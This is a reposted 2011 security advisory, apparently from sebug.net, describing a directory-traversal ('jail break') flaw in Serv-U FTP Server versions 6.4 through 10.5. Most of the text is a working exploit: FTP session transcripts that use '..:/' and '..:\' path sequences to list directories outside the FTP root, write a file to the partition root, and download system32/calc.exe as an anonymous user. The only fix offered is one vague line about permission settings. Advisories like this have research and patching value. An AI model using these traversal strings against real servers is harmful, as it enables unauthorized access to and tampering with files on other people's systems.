Serv-U FTP Jail Break(越权遍历目录、下载任意文件)
程序员文章站
2022-03-19 14:05:22
Serv-U 越权遍历目录、下载任意文件,通过构造..:/来遍历服务器目录,下载任意文件... 12-01-15...
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
复制代码
代码如下:[*]----------------------------------------------------[*]
serv-u ftp server jail break 0day
discovered by kingcope
year 2011
[*]----------------------------------------------------[*]
/*
sebug.net
通过构造..:/来遍历服务器目录,下载任意文件
影响版本:6.4,7.1,7.3,8.2,10.5
*/
affected:
220 serv-u ftp server v7.3 ready...
220 serv-u ftp server v7.1 ready...
220 serv-u ftp server v6.4 ready...
220 serv-u ftp server v8.2 ready...
220 serv-u ftp server v10.5 ready...
[*]----------------------------------------------------[*]
c:\users\kingcope\desktop>ftp 192.168.133.134
verbindung mit 192.168.133.134 wurde hergestellt.
220 serv-u ftp server v6.4 for winsock ready...
benutzer (192.168.133.134:(none)): ftp (anonymous user :>)
331 user name okay, please send complete e-mail address as password.
kennwort:
230 user logged in, proceed.
ftp> cd "/..:/..:/..:/..:/program files"
250 directory changed to /localuser/localuser/localuser/localuser/program files
ftp> ls -la
200 port command successful.
150 opening ascii mode data connection for /bin/ls.
dr--r--r-- 1 user group 0 nov 12 21:48 .
dr--r--r-- 1 user group 0 nov 12 21:48 ..
drw-rw-rw- 1 user group 0 feb 14 2011 apache software foundatio
n
drw-rw-rw- 1 user group 0 feb 5 2011 complus applications
drw-rw-rw- 1 user group 0 jul 11 01:06 common files
drw-rw-rw- 1 user group 0 jul 8 16:57 coreftpserver
drw-rw-rw- 1 user group 0 jul 11 01:06 iis resources
d--------- 1 user group 0 jul 8 16:12 installshield
installation information
drw-rw-rw- 1 user group 0 jul 29 15:07 internet explorer
drw-rw-rw- 1 user group 0 jul 8 16:12 ipswitch
drw-rw-rw- 1 user group 0 feb 12 2011 java
drw-rw-rw- 1 user group 0 jul 26 13:19 netmeeting
drw-rw-rw- 1 user group 0 jul 29 14:39 outlook express
drw-rw-rw- 1 user group 0 jul 8 15:39 postgresql
drw-rw-rw- 1 user group 0 nov 12 21:48 rhinosoft.com
drw-rw-rw- 1 user group 0 feb 12 2011 sun
d--------- 1 user group 0 jul 29 15:13 uninstall information
drw-rw-rw- 1 user group 0 feb 5 2011 vmware
drw-rw-rw- 1 user group 0 jul 8 15:34 winrar
drw-rw-rw- 1 user group 0 jul 26 13:30 windows media player
drw-rw-rw- 1 user group 0 feb 5 2011 windows nt
d--------- 1 user group 0 feb 5 2011 windowsupdate
226 transfer complete.
ftp: 1795 bytes empfangen in 0,00sekunden 448,75kb/s
ftp>
[*]----------------------------------------------------[*]
with write perms:
ftp> put foo.txt ..:/..:/..:/foobar <<-- writes foo into root of partition
[*]----------------------------------------------------[*]
and as anonymous ftp:
ftp> get ..:/..:/..:/..:/windows/system32/calc.exe yes
200 port command successful.
150 opening ascii mode data connection for calc.exe (115712 bytes).
226 transfer complete.
ftp: 115712 bytes empfangen in 0,04sekunden 2571,38kb/s
[*]----------------------------------------------------[*]
this works to!!! :
220 serv-u ftp server v7.3 ready...
benutzer (xx.xx.xx.xx:(none)): ftp
331 user name okay, please send complete e-mail address as password.
kennwort:
230 user logged in, proceed.
ftp> ls "-a ..:\:..\..:\..:\..:\..:\..:\..:\..:\*"
200 port command successful.
150 opening ascii mode data connection for /bin/ls.
.
..
autoexec.bat
boot.ini
bootfont.bin
bsmain_runtime.log
config.sys
documents and settings
fpse_search
inetpub
io.sys
log
msdos.sys
msizap.exe
msocache
mysql
ntdetect.com
ntldr
program files
ravbin
recycler
replay.log
rising.ini
system volume information
tddownload
wch.cn
windows
wmpub
226 transfer complete. 317 bytes transferred. 19.35 kb/sec.
ftp: 317 bytes empfangen in 0,01sekunden 21,13kb/s
[*]----------------------------------------------------[*]
sometimes you need to give it the path:
ftp> ls "-a ..:\:..\..:\..:\..:\..:\..:\..:\..:\program files\"
ftp> ls "-a ..:\:..\..:\..:\..:\..:\..:\..:\..:\program files\*"
200 port command successful.
150 opening ascii mode data connection for /bin/ls.
.
..
360
adobe
asp.net
ccproxy
ce remote tools
cmak
common files
complus applications
d-tools
fftpserver
html help workshop
iisserver
installshield installation information
intel
internet explorer
java
javasoft
k-lite codec pack
microsoft activesync
microsoft analysis services
microsoft device emulator
microsoft mappoint web service samples
microsoft mappoint web service sdk, version 4.0
microsoft office
microsoft office servers
microsoft silverlight
microsoft sql server
microsoft visual sourcesafe
microsoft visual studio 8
microsoft.net
msbuild
msxml 6.0
netmeeting
outlook express
portmap1.61
reference assemblies
rising
sqlxml 4.0
sqlyog enterprise
sts2setup_2052
symantec
thunder network
tsingvision
uninstall information
windows media player
windows nt
windowsupdate
winrar
226 transfer complete. 835 bytes transferred. 50.96 kb/sec.
ftp: 835 bytes empfangen in 0,01sekunden 64,23kb/s
ftp>
@sebug.net [ 2011-12-01 ]
脚本提供修正方法:通过设置serv_u的权限可以防范此类问题,大家一定要注意serv_u安全设置问题。